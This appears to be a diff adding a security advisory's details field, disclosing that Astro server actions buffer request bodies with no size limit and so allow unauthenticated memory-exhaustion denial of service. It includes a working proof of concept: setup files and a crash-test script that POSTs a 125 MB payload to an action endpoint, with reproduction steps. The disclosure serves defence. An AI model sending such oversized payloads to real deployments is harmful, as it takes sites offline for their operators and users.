+ "details": "## Summary\n\nAstro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.\n\n## Details\n\nOn-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.\n\nAstro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.\n\nAction names are discoverable from HTML form attributes on any public page, so no authentication is required.\n\n## PoC\n\n<details>\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n \"name\": \"poc-dos\",\n \"private\": true,\n \"scripts\": {\n \"build\": \"astro build\",\n \"start:128mb\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n },\n \"dependencies\": {\n \"astro\": \"5.17.2\",\n \"@astrojs/node\": \"9.5.3\"\n }\n}\n```\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n});\n```\n\n`src/actions/index.ts`:\n```typescript\nimport { defineAction } from 'astro:actions';\nimport { z } from 'astro:schema';\n\nexport const server = {\n echo: defineAction({\n input: z.object({ data: z.string() }),\n handler: async (input) => ({ received: input.data.length }),\n }),\n};\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n<html><body><p>Server running</p></body></html>\n```\n\n`crash-test.mjs`:\n```javascript\nconst payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });\n\nconsole.log('Sending 125 MB payload...');\ntry {\n const res = await fetch('http://localhost:4321/_actions/echo', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },\n body: payload,\n });\n console.log('Status:', res.status);\n} catch (e) {\n console.log('Server crashed:', e.message);\n}\n```\n\n### Reproduction\n\n```bash\nnpm install && npm run build\n\n# Terminal 1: Start server with 128 MB memory limit\nnpm run start:128mb\n\n# Terminal 2: Send 125 MB payload\nnode crash-test.mjs\n```\n\nThe server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.\n\n</details>\n\n## Impact\n\nAllows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.",
0 commit comments